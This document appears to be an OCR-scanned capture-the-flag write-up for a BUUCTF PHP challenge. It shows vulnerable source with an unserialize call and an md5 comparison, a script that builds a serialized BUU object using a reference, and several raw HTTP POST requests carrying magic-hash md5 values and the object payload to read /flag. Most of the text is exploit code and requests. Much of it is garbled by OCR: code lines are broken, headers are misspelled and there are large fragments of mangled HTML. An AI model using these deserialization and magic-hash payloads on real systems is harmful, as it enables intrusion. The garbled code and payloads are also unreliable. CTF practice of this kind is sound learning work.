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<?php
Vi
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(___FILE_ );

class BUU {
public $correct = "";
public $input = "";

public function _ destruct() {

try {
$this->correct = base64_encode(uniqid());

if($this->correct === $this->input) {
echo file_get contents("/flag");

}
} catch (Exception $e) {
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if($ _GET[ 'pleaseget'] === '1") {
if($_POST['pleasepost'] === '2"') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $ _POST['md52']) {
unserialize($ POST['obj']);
}
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POST /?pleaseget=1 HITP/1.1

Host: a2Tbef53-d322-4e8f-96a8-07Tb2T7cT77£559. node3. buuej. cn

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64:; x64; rv:87.0) Gecko/20100101
Firefox/87.0

Accept: text/html, application/xzhtml+zml, application/xnl;q=0.9, image/webp, */%;q=0, 8
Accept-Language: zh-CN, zh:q=0. 8, zh-1W; q=0. 7, zh-HK ; g=0. 5, en-US ; g=0. 3, en; gq=0. 2
Accept-Encoding: gzip, deflate

Comnection: close

Upgrade-Insecure-Requests: 1

Content-Length: 103

Content—-Type: application/x—www—form-urlencoded
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<?php
class BUU {

}

public $correct

public $input = B

public function _ destruct() {

try {
$this->correct = base64_encode(uniqid());
$this->input) {

echo file_get_contents("/flag");

if($this->correct =

}
} catch (Exception fe) {

}

$a=new BUU();
$a->input=&%$a->correct;
echo serialize($a);

HAT4ER §05:0.598

0:3:"BUU™:2:{s:7:"correct";3:0:"";5:5:"input"; R:2;}

Warning: file_get_contents(/flag): failed to open stream: No such file or directory in
tmp/9083dc703d21589122e0300ee2ed4a30babb5d67175a3cbfbbfcd09a799e56ab/main.php on line 10
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POST /?pleaseget=1 HTTP/1.1

Host: B8b532276-24d9-4ee5-9521-89850e40529f . noded.buucj.cn: 81l
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36

(KHTML, like Gecke) Chrome/70.0.3538.25 Safari/537.36 Core/l.70.3877.400
QQBrowser/10.8.4506.400

Accept:

text/html, application/zhtml+zml, application/zml;g=0.9, image/wekp, imags/ap
ng, */*;q=0.8
Accept-Enceding:
Accept-Language:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

gzip, deflats
zh-CN, zh;qgq=0.9

pleasepost=2&mdS51=s1885207154aamd52=s15596467lacob]=
0:3:"BUU":2:{s:7:"correct”;s5:0:"";s:5:"input";R:2;}
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&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbs]
/>&nbsp; &nbsp; &nbsp; énbsp; enbsp; &nbsp; &nbsp; } &nkbsp;catchenbsp; (<
span style="color: #0000BB">Exception&anbsp;5e</span><span style=
#007700">) enkbsp; {<bcr />&anbsp;enbsp!anbsp; &nbsp; &nbsp; &nbsp! enbsp
&nbsp; &nbsp; &nbsp; }<kbr />}<br /><br />if(</span><span style="cecl
#0000BB">S5_GET</span><span style="color: #007700">[</span><span
celer: #DD0000">'pleaseget'<d/span><span style="color: #007700">
l&nbsp;===&nbsp;</span><span style="color: #DD0000">'1'</span><s]
style="color: #007700">)&nbsp; (<br />&nbsp;&nbsp; &nbsp;&nbsp;if(
span style="ccler: #0000BB">$_POST</span><span style="color: #00
</span><span style="color: #DD0000">'pleasepost'</span><span sty
#007700">] enbsp;===&nbsp; </span><span style="coclor: #DDO0
</span><span style="coclor: #007700">)anbsp; {<br />
snbsp; &nbsp; &nbsp; &nbsp; enbsp; snbsp; &nbsp; &nbsp;if (</span><span
celer: #D000BB">md5</span><span style="cecler: #007700"> (</span><
style="color: #0000BEB">§_ POST</span><span style="color: #007700"
><span style="color: #DD0000">'md51l'</span><span style="color: #
1) &énbsp &nbsp;</span><span style="color: #0000BB">md5</span><s
style="color: #007700">(</span><span style="color: #0000BE">5_PO.
><span style="color: #007700">[</span><span style="color: #DDOOO
'md52'</span><span style="ccleor: #007700">])&nbsp; &amp; &amp; &nks)
><span style="color: #0000BEB">5 POST</span><span style="coclor: #
[</span><span style="cclecr: #DD0000">'md51l'</span»<span style="c
#007700">] enbsp; !=&nbsp;</span><span style="color: #0000BE">5_PO.
><span style="color: #007700">[</span><span style="color: #DD00O
'md52'</span><span style="coleor: #007700">])&nbsp; {<kr />
&nlbsp;i &nbsp; &nbsp; &énbsp; &nbsp; &nbspi &nbsp; &nbsp; &nbsp; &nbsp; &nbs]
</span><span style="color: #0000BB">unserialize</span><span styl
color: #007700">(</span><span style="color: #0000BB">5_POST</spa
style="color: #007700">[</span><span style="color: #DD0000">'ocbj
<span style="color: #007700">]):i<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; enbsp; }<br />}<br /></span>

coclor:

11 </span> conn @oliulieZhong
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POST /?pleaseget=1 HTTP/1.1

Host: 8b53a276-a4d9-4ee5-9521-89850e40529f.node4.buuoj.cn:81

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safa
ri/537.36 Core/1.70.3877.400 QQBrowser/10.8.4506.400

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 103

pleasepost=2&md51=s1885207154a&md52=5155964671a&obj=0:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
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